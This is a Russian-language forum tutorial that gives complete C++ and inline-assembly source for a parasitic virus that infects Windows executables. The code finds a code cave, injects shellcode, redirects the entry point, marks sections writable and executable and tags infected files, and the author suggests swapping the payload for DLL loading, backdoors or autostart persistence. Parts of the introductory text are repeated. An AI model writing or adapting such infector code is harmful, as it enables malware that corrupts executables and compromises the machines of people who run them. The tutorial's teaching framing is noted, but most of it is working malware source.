Доброго времени суток, друзья. В прошлых статьях, мы внимательно изучили строение и формат исполняемых файлов, а также закрепили эти знания на практике. Начиная с этой статьи мы начнём исследовать этот вопрос с практической точки зрения. Конкретно в этой статье мы напишем небольшой вирус, инфицирующий исполняемые файлы Windows. Для понимания данной статьи необходимо прочтение предыдущих.
На самом деле, вирусы инфицирующие исполняемые файлы формально подразделяются на следующие типы:
Давайте сначала разберём схему заражения в теории. Заражать мы с вами будем написанный в двух прошлых статьях .exe файл (hello.exe). В принципе, программа которую мы напишем может корректно заражать большинство исполяемых файлов.
Открыв hello.exe в hex-редакторе, мы можем заметить заполненные нулевыми байтами участки в секциях. Эти учатски называются пещерами кода. Они появляются вследствии выравнивания размера секции. Вот пример пещеры кода в секции .text.
Теперь давайте посмотрим, что же проиходит при инфекции исполняемого файла. До инфекции инфицируемая секция выглядит так:
Точка входа в программу установлена на начало кода программы, секция немодифицированная.
А вот так уже выглядит секция после инфекции файла:
Что же произошло во время инфекции файла? Во-первых, в начало пещеры кода был вставлен вредоносный код. Во-вторых, указатель на вход в программу был изменён на адрес начала вредоносного кода. Во вредоносном коде имеется переход на начало оригинального кода.
Суммарно общая схема атаки выглядит так:
Таким образом, при запуске вредоносного файла управление сначала будет передано вредоносному коду, а после этого оригинальному коду.
Теперь подключим необходимые заголовочные файлы:
Теперь давайте объявим пару констант и напишем функцию, которую мы будем внедрять в исполняемый файл. Писать внедряемый код нам придётся на ассемблере. Я использую простейший MessageBox, как нашу полезную нагрузку, хотя изменить шелл-код, например, на код загружающий динамическую библиотеку - проще простого.
Теперь, давайте более подробнее изменим наш алгоритм:
То есть, говоря более понятным языком, некий выделенный участок памяти привязывается к файлу. Изменяя содержимое участка памяти - мы тем самым изменяем содержание файла.
Зачем это нужно? Это позволяет увеличить производительность и увеличить максимальный размер файла, с которым вы собираетесь работать.
В Windows, проецирование файла реализуется с помощью функций
Для удобной работы с файлом давайте создадим класс MappedFile, который с помощью функций WinApi реализует необходимую функциональность (открытие файла и его отображение):
Конструктор этого класса откроет файл с помощью функции
Также, вооружившись нашими знаниями о формате PE-файла, реализуем небольшой класс-парсер, который будет выполнять разбор содержимого исполняемого файла:
Теперь, вставим базовую функциональность в нашу главную функцию:
И вот, мы уже на шаге 1.5. Как же нам проверить, заражён ли файл уже? Для этого, после каждого заражения, мы будем помечать файл особым образом. Как именно? Мы изменим несущественные заголовки в DOS-заголовке на специальное значение.
Вот две функции, первая проверят заражён ли файл уже, а вторая помечает файл как заражённый.
Вот как выглядит DOS-заголовок у заражённого файла в HEX-редакторе:
Добавляем в главную функцию следующий код, который отвечает за проверку файла на инфекцию:
Мы закончили с нашими подготовительными действиями. Теперь, нам нужно найти пещеру кода подходящего размера. Для этого я создал структуру, которая содержит указатель на секцию, и смещение до пещеры кода относительно начала файла. Также, я написал функцию, которая будет возвращать нашу пещеру кода.
Также, добавляем следующий код в нашу главную функцию, который получает указатель на начало пещеры кода и указатель на секцию.
Теперь, нам нужно модифицировать шелл-код специально для исполняемого файла (найти адрес MessageBoxA и заменить 0xAAAAAAAA на него, изменить следующую последовательность 0xAAAAAAAA на оригинальную точку входа (original entry point)). Вот функция, реализующая это:
И по традиции вставим следующий код в главную функцию (он подготовит наш шелл-код):
Шаги с 4 по 7 вообще являются тривиальными и каждый шаг реализиуются буквально одной строкой. Опять же вставим данный код в главную функцию:
Готово! Теперь дополним эпилог функции main:
Итак, теперь наша главная функция выглядит так:
Теперь вставляем наш целевой hello.exe по адресу D:\hello.exe (или изменяем константу TARGET), собираем проект и запускаем наш инфектор.
Корректный результат его работы:
Теперь, давайте проверим, корректно ли работает наш hello.exe и выполняется наш вредоносный код:
Это действительно так! Всё корректно работает! Как я говорил выше, наш инфектор может заражать большинство исполняемых файлов Windows (для этого измените константу TARGET), но также есть и некоторые исключения, которые мы не будем рассматривать в данной статье. С помощью этой техники можно творить поистине великие вещи (внедрение бэкдоров, DLL инъекции, внедрение вирусов, заражение важных системных файлов для добавления в автозагрузку и для сокрытия вредоносного процесса).
Дисклеймер
ВНИМАНИЕ! Весь представленный ниже материал распространяется исключительно в образовательных целях. Автор и администрация форума не несут ответственности за ваши действия.
Немного теории
Вирус - вид вредоносных программ, способных инфицировать другие файлы. Например, внедрять свой вредоносный в код в другие исполняемые файлы. Конкретно данный тип инфекции мы сегодня и рассмотрим.ВНИМАНИЕ! Весь представленный ниже материал распространяется исключительно в образовательных целях. Автор и администрация форума не несут ответственности за ваши действия.
Немного теории
На самом деле, вирусы инфицирующие исполняемые файлы формально подразделяются на следующие типы:
- Перезаписывающие вирусы
Данный тип инфекторов заменяет исполняемые файлы собственным исполняемым модулем. Данный тип вирусов редко встречается, так как вирусы данного типа приносят слишком разрушительные последствия и из-за этого они легко обнаруживаются. - Паразитические вирусы
Данный тип инфекторов внедряет вредоносный код в исполняемые файлы. В большинстве случаев данный тип вирусов не влияет на логику работы инфицированной программы. Именно данный тип вируса мы и напишем в этой статье. - Вирусы-компаньёны
Данный тип вирусов переименовывает инфицируемый исполняемый файл, а на его старый путь вставляет свою копию. - Другие типы вирусов
В большинстве случаев паразитические вирусы исполняют свой код ДО запуска основного кода. Основная идея инфекции - перенаправить поток исполнения с точки входа в программу на вредоносный код.Давайте сначала разберём схему заражения в теории. Заражать мы с вами будем написанный в двух прошлых статьях .exe файл (hello.exe). В принципе, программа которую мы напишем может корректно заражать большинство исполяемых файлов.
Открыв hello.exe в hex-редакторе, мы можем заметить заполненные нулевыми байтами участки в секциях. Эти учатски называются пещерами кода. Они появляются вследствии выравнивания размера секции. Вот пример пещеры кода в секции .text.
А вот так уже выглядит секция после инфекции файла:
Что же произошло во время инфекции файла? Во-первых, в начало пещеры кода был вставлен вредоносный код. Во-вторых, указатель на вход в программу был изменён на адрес начала вредоносного кода. Во вредоносном коде имеется переход на начало оригинального кода.
Суммарно общая схема атаки выглядит так:
- Подготовительные действия
- Найти пещеру кода в секциях
- Вставить вредоносный код в пещеру кода
- Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
- Изменить характеристики секции на Read, Write, Execute.
Таким образом, при запуске вредоносного файла управление сначала будет передано вредоносному коду, а после этого оригинальному коду.
Приступаем к кодингу
Писать нашего паразита мы будем на языке C++ (я использую Visual Studio). Первым делом, создадим консольный проект.
Теперь подключим необходимые заголовочные файлы:
C:
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <stdio.h>
Теперь давайте объявим пару констант и напишем функцию, которую мы будем внедрять в исполняемый файл. Писать внедряемый код нам придётся на ассемблере. Я использую простейший MessageBox, как нашу полезную нагрузку, хотя изменить шелл-код, например, на код загружающий динамическую библиотеку - проще простого.
C:
#define TARGET "D:\\hello.exe"
#define SHELLCODE_SIZE 65
#define db(x) __asm _emit x
void __declspec(naked) shellcode()
{
__asm {
pushad // Сохраняем регистры
call routine // Получаем eip
routine:
pop ebp // Получаем eip
sub ebp, offset routine // Получаем eip
// Вызываем MessageBox
push 0x00000010 // MB_ICONERROR
lea eax, [ebp + szCaption]
push eax // szCaption
lea eax, [ebp + szText]
push eax // szText
push 0 // NULL
mov eax, 0xAAAAAAAA // Временный адрес MessageBox
call eax // Вызываем MessageBoxA
popad // Получаем регистры обратно
push 0xAAAAAAAA // Переходим на оригинальную точку входа
ret // Переходим на оригинальную точку входа
szText:
db('I')
db('n')
db('f')
db('e')
db('c')
db('t')
db('e')
db('d')
db('!')
db(0)
szCaption:
db('C')
db('o')
db('d')
db('e')
db('b')
db('y')
db('N')
db('e')
db('t')
db(0)
}
}
Теперь, давайте более подробнее изменим наш алгоритм:
- Подготовительные действия
1.1 Открыть файл
1.2 Создать проекцию файла в память
1.3 Проверить действительно ли это исполняемый файл
1.4 Разобрать заголовки
1.5 Проверить заражён ли файл уже - Итерируя каждую секцию пробежаться по ней и найти пещеру кода нужного размера
- Подготавить шелл-код
- Вставлить вредоносный код в пещеру кода
- Изменить характеристики секции на Read, Write, Execute.
- Изменить указатель начала кода (поле AddressOfEntryPoint) на адрес начала вредоносного кода.
- Пометить файл как зараженный
Отображение файла в память (на память) — это способ работы с файлами в некоторых операционных системах, при котором всему файлу или некоторой непрерывной его части ставится в соответствие определённый участок памяти (диапазон адресов оперативной памяти). При этом чтение данных из этих адресов фактически приводит к чтению данных из отображенного файла, а запись данных по этим адресам приводит к записи этих данных в файл.
То есть, говоря более понятным языком, некий выделенный участок памяти привязывается к файлу. Изменяя содержимое участка памяти - мы тем самым изменяем содержание файла.
Зачем это нужно? Это позволяет увеличить производительность и увеличить максимальный размер файла, с которым вы собираетесь работать.
В Windows, проецирование файла реализуется с помощью функций
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
.Для удобной работы с файлом давайте создадим класс MappedFile, который с помощью функций WinApi реализует необходимую функциональность (открытие файла и его отображение):
C:
class MappedFile
{
private:
HANDLE m_hFile;
HANDLE m_hMapping;
LPBYTE m_lpFile;
public:
MappedFile(LPTSTR szFilename) // Этот конструктор вызывается при создании объекта этого класса, он принимает путь к файлу
{
m_hFile = CreateFile(szFilename, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL); // Открываем файл
if (m_hFile == INVALID_HANDLE_VALUE) // Проверяем на ошибки
{
throw std::exception("Can't open target file!");
}
DWORD dwFileSize = GetFileSize(m_hFile, NULL); // Получаем размер файла
m_hMapping = CreateFileMapping(m_hFile, NULL, PAGE_READWRITE, 0,
0, NULL); // Создаём проекцию файла в память
if (m_hMapping == NULL) // Проверяем на ошибки
{
CloseHandle(m_hFile);
throw std::exception("Can't create file mapping!");
}
m_lpFile = LPBYTE(MapViewOfFile(m_hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwFileSize)); // Проецируем отображение файла
if (m_lpFile == NULL) // Проверяем на ошибки
{
CloseHandle(m_hMapping);
CloseHandle(m_hFile);
throw std::exception("Can't map view of file!");
}
}
LPBYTE getViewOfFile() // Метод для получения адреса на начало отображения файла в памяти
{
return m_lpFile;
}
~MappedFile() // Деструктор, вызывающийся при освобождении объекта
{
UnmapViewOfFile(m_lpFile); // Уничтожаем отображение проекции файла
CloseHandle(m_hMapping); // Закрываем проекцию файла
CloseHandle(m_hFile); // Закрываем файл
}
};
Конструктор этого класса откроет файл с помощью функции
Ссылка скрыта от гостей
со всеми правами, а также создаст проекцию файла в память, с помощью функций
Ссылка скрыта от гостей
и
Ссылка скрыта от гостей
.Также, вооружившись нашими знаниями о формате PE-файла, реализуем небольшой класс-парсер, который будет выполнять разбор содержимого исполняемого файла:
C:
class PEParser
{
private:
LPBYTE m_lpFile;
PIMAGE_DOS_HEADER m_pidh;
PIMAGE_NT_HEADERS m_pinh;
PIMAGE_FILE_HEADER m_pifh;
PIMAGE_OPTIONAL_HEADER m_pioh;
public:
PEParser(LPBYTE lpFile) : m_lpFile(lpFile)
{
m_pidh = PIMAGE_DOS_HEADER(lpFile); // Получаем DOS-заголовок (он самый первый)
if (m_pidh->e_magic != IMAGE_DOS_SIGNATURE) // Проверяем, корректна ли сигнатура DOS заголовока
{
throw std::exception("There's not executable file!");
}
m_pinh = PIMAGE_NT_HEADERS(lpFile + m_pidh->e_lfanew); // Получаем PE-заголовок (NT)
if (m_pinh->Signature != IMAGE_NT_SIGNATURE) // Проверяем, корректна ли сигнатура PE заголовока
{
throw std::exception("There's not executable file!");
}
m_pifh = PIMAGE_FILE_HEADER(&m_pinh->FileHeader); // Получаем файловый заголовок
m_pioh = PIMAGE_OPTIONAL_HEADER(&m_pinh->OptionalHeader); // Получаем опциональный заголовок
}
// Методы ниже возвращают заголовки
PIMAGE_DOS_HEADER getDosHeader()
{
return m_pidh;
}
PIMAGE_NT_HEADERS getNtHeaders()
{
return m_pinh;
}
PIMAGE_FILE_HEADER getFileHeader()
{
return m_pifh;
}
PIMAGE_OPTIONAL_HEADER getOptionalHeader()
{
return m_pioh;
}
// Метод, возвращающий число секций
int getNumberOfSections()
{
return m_pifh->NumberOfSections;
}
// Этот метод возвращает заголовок по его индексу
PIMAGE_SECTION_HEADER getSectionHeader(int nSection)
{
if (nSection > this->getNumberOfSections())
{
return NULL;
}
return PIMAGE_SECTION_HEADER(m_lpFile + m_pidh->e_lfanew +
sizeof(m_pinh->Signature) + sizeof(IMAGE_FILE_HEADER)+
m_pifh->SizeOfOptionalHeader +
sizeof(IMAGE_SECTION_HEADER) * (nSection - 1));
}
};
Теперь, вставим базовую функциональность в нашу главную функцию:
C:
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
MappedFile* pmfTarget;
try
{
pmfTarget = new MappedFile(_TEXT(TARGET));
}
catch (const std::exception& e)
{
std::cerr << "[ERROR] " << e.what() << std::endl;
std::cerr << "GetLastError(): " << GetLastError() << std::endl;
return 1;
}
LPBYTE lpFile = pmfTarget->getViewOfFile();
PEParser* ppeParser;
try
{
ppeParser = new PEParser(lpFile);
}
catch (const std::exception& e)
{
std::cerr << "[ERROR] " << e.what() << std::endl;
std::cerr << "GetLastError(): " << GetLastError() << std::endl;
delete pmfTarget;
return 1;
}
PIMAGE_DOS_HEADER pidh = ppeParser->getDosHeader();
PIMAGE_NT_HEADERS pinh = ppeParser->getNtHeaders();
PIMAGE_FILE_HEADER pifh = ppeParser->getFileHeader();
PIMAGE_OPTIONAL_HEADER pioh = ppeParser->getOptionalHeader();
DWORD dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;
delete lpShellcode;
delete ppeParser;
delete pmfTarget;
return 0;
И вот, мы уже на шаге 1.5. Как же нам проверить, заражён ли файл уже? Для этого, после каждого заражения, мы будем помечать файл особым образом. Как именно? Мы изменим несущественные заголовки в DOS-заголовке на специальное значение.
Вот две функции, первая проверят заражён ли файл уже, а вторая помечает файл как заражённый.
C:
BOOL isInfected(PIMAGE_DOS_HEADER pidh)
{
return ((pidh->e_minalloc == 0x13) && (pidh->e_maxalloc == 0x37));
}
void markAsInfected(PIMAGE_DOS_HEADER pidh)
{
pidh->e_minalloc = 0x13;
pidh->e_maxalloc = 0x37;
}
Вот как выглядит DOS-заголовок у заражённого файла в HEX-редакторе:
Добавляем в главную функцию следующий код, который отвечает за проверку файла на инфекцию:
C:
if (isInfected(pidh))
{
std::cerr << "[ERROR] File already infected!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
Мы закончили с нашими подготовительными действиями. Теперь, нам нужно найти пещеру кода подходящего размера. Для этого я создал структуру, которая содержит указатель на секцию, и смещение до пещеры кода относительно начала файла. Также, я написал функцию, которая будет возвращать нашу пещеру кода.
C:
typedef struct _CODE_CAVE
{
DWORD dwPosition; // Смещение до пещеры кода относительно начала файла
PIMAGE_SECTION_HEADER pish; // Указатель на секцию с пещерой кода
} CODE_CAVE, *PCODE_CAVE;
// Функция возвращающая структуру CODE_CAVE
CODE_CAVE findCodeCave(LPBYTE lpFile, PEParser* ppeParser)
{
// Инициализируем переменные
CODE_CAVE ccCave;
DWORD dwCount = 0;
ccCave.dwPosition = 0;
ccCave.pish = NULL;
for (int i = 1; i <= ppeParser->getNumberOfSections(); i++) // Итерируем секции
{
ccCave.pish = ppeParser->getSectionHeader(i);
for (int j = 0; j < ccCave.pish->SizeOfRawData; j++) // Ищем пещеру кода
{
if (*(lpFile + ccCave.pish->PointerToRawData + j) == 0x00)
{
if (dwCount++ == (SHELLCODE_SIZE + 1))
{
ccCave.dwPosition = j - SHELLCODE_SIZE +
ccCave.pish->PointerToRawData + 1;
break;
}
}
else
{
dwCount = 0;
}
}
if (ccCave.dwPosition != 0)
{
break;
}
}
if (dwCount == 0 || ccCave.dwPosition == 0) // Если пещера кода не найдена, возвращаем пустую структуру
{
return CODE_CAVE{ 0, NULL };
}
else
{
return ccCave;
}
}
Также, добавляем следующий код в нашу главную функцию, который получает указатель на начало пещеры кода и указатель на секцию.
C:
CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
{
std::cerr << "[ERROR] Can't find code cave!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
std::cout << "[INFO] Code cave located at 0x" << LPVOID(ccCave.dwPosition) << std::endl;
PIMAGE_SECTION_HEADER pish = ccCave.pish;
DWORD dwPosition = ccCave.dwPosition;
Теперь, нам нужно модифицировать шелл-код специально для исполняемого файла (найти адрес MessageBoxA и заменить 0xAAAAAAAA на него, изменить следующую последовательность 0xAAAAAAAA на оригинальную точку входа (original entry point)). Вот функция, реализующая это:
C:
void modificateShellcode(LPVOID lpShellcode, DWORD dwOEP)
{
HMODULE hModule = LoadLibrary(_TEXT("user32.dll"));
LPVOID lpMessageBoxA = GetProcAddress(hModule, "MessageBoxA");
for (int i = 0; i < SHELLCODE_SIZE; i++)
{
if (*(LPDWORD(lpShellcode) + i) == 0xAAAAAAAA)
{
*(LPDWORD(lpShellcode) + i) = DWORD(lpMessageBoxA );
FreeLibrary(hModule);
break;
}
}
for (int i = 0; i < SHELLCODE_SIZE; i++)
{
if (*(LPDWORD(lpShellcode) + i) == 0xAAAAAAAA)
{
*(LPDWORD(lpShellcode) + i) = dwOEP;
break;
}
}
}
И по традиции вставим следующий код в главную функцию (он подготовит наш шелл-код):
C:
LPVOID lpShellcode = new char[SHELLCODE_SIZE];
RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
modificateShellcode(lpShellcode, dwOEP);
Шаги с 4 по 7 вообще являются тривиальными и каждый шаг реализиуются буквально одной строкой. Опять же вставим данный код в главную функцию:
C:
memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
markAsInfected(pidh);
Готово! Теперь дополним эпилог функции main:
C:
std::cout << "[SUCCESS] File successfuly infected!" << std::endl;
delete lpShellcode;
Итак, теперь наша главная функция выглядит так:
C:
int _tmain(int argc, _TCHAR *argv[], _TCHAR* envp[])
{
MappedFile* pmfTarget;
try
{
pmfTarget = new MappedFile(_TEXT(TARGET));
}
catch (const std::exception& e)
{
std::cerr << "[ERROR] " << e.what() << std::endl;
std::cerr << "GetLastError(): " << GetLastError() << std::endl;
return 1;
}
LPBYTE lpFile = pmfTarget->getViewOfFile();
PEParser* ppeParser;
try
{
ppeParser = new PEParser(lpFile);
}
catch (const std::exception& e)
{
std::cerr << "[ERROR] " << e.what() << std::endl;
std::cerr << "GetLastError(): " << GetLastError() << std::endl;
delete pmfTarget;
return 1;
}
PIMAGE_DOS_HEADER pidh = ppeParser->getDosHeader();
PIMAGE_NT_HEADERS pinh = ppeParser->getNtHeaders();
PIMAGE_FILE_HEADER pifh = ppeParser->getFileHeader();
PIMAGE_OPTIONAL_HEADER pioh = ppeParser->getOptionalHeader();
DWORD dwOEP = pioh->AddressOfEntryPoint + pioh->ImageBase;
if (isInfected(pidh))
{
std::cerr << "[ERROR] File already infected!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
CODE_CAVE ccCave = findCodeCave(lpFile, ppeParser);
if ((ccCave.pish == NULL) || (ccCave.dwPosition == 0))
{
std::cerr << "[ERROR] Can't find code cave!" << std::endl;
delete ppeParser;
delete pmfTarget;
return 1;
}
std::cout << "[INFO] Code cave located at 0x" << LPVOID(ccCave.dwPosition) << std::endl;
PIMAGE_SECTION_HEADER pish = ccCave.pish;
DWORD dwPosition = ccCave.dwPosition;
LPVOID lpShellcode = new char[SHELLCODE_SIZE];
RtlSecureZeroMemory(lpShellcode, SHELLCODE_SIZE);
memcpy(lpShellcode, shellcode, SHELLCODE_SIZE);
modificateShellcode(lpShellcode, dwOEP);
memcpy(LPBYTE(lpFile + dwPosition), lpShellcode, SHELLCODE_SIZE);
pish->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE;
pinh->OptionalHeader.AddressOfEntryPoint = dwPosition + pish->VirtualAddress - pish->PointerToRawData;
markAsInfected(pidh);
std::cout << "[SUCCESS] File successfuly infected!" << std::endl;
delete lpShellcode;
delete ppeParser;
delete pmfTarget;
return 0;
}
Теперь вставляем наш целевой hello.exe по адресу D:\hello.exe (или изменяем константу TARGET), собираем проект и запускаем наш инфектор.
Корректный результат его работы:
Теперь, давайте проверим, корректно ли работает наш hello.exe и выполняется наш вредоносный код:
На этом всё! Спасибо за прочтение статьи! Если у вас есть какие-либо вопросы или вы обнаружите какие-то недоработки, буду рад увидеть ваш комментарий. Заражённый и незараженный файлы прикреплены.
Вложения
Последнее редактирование: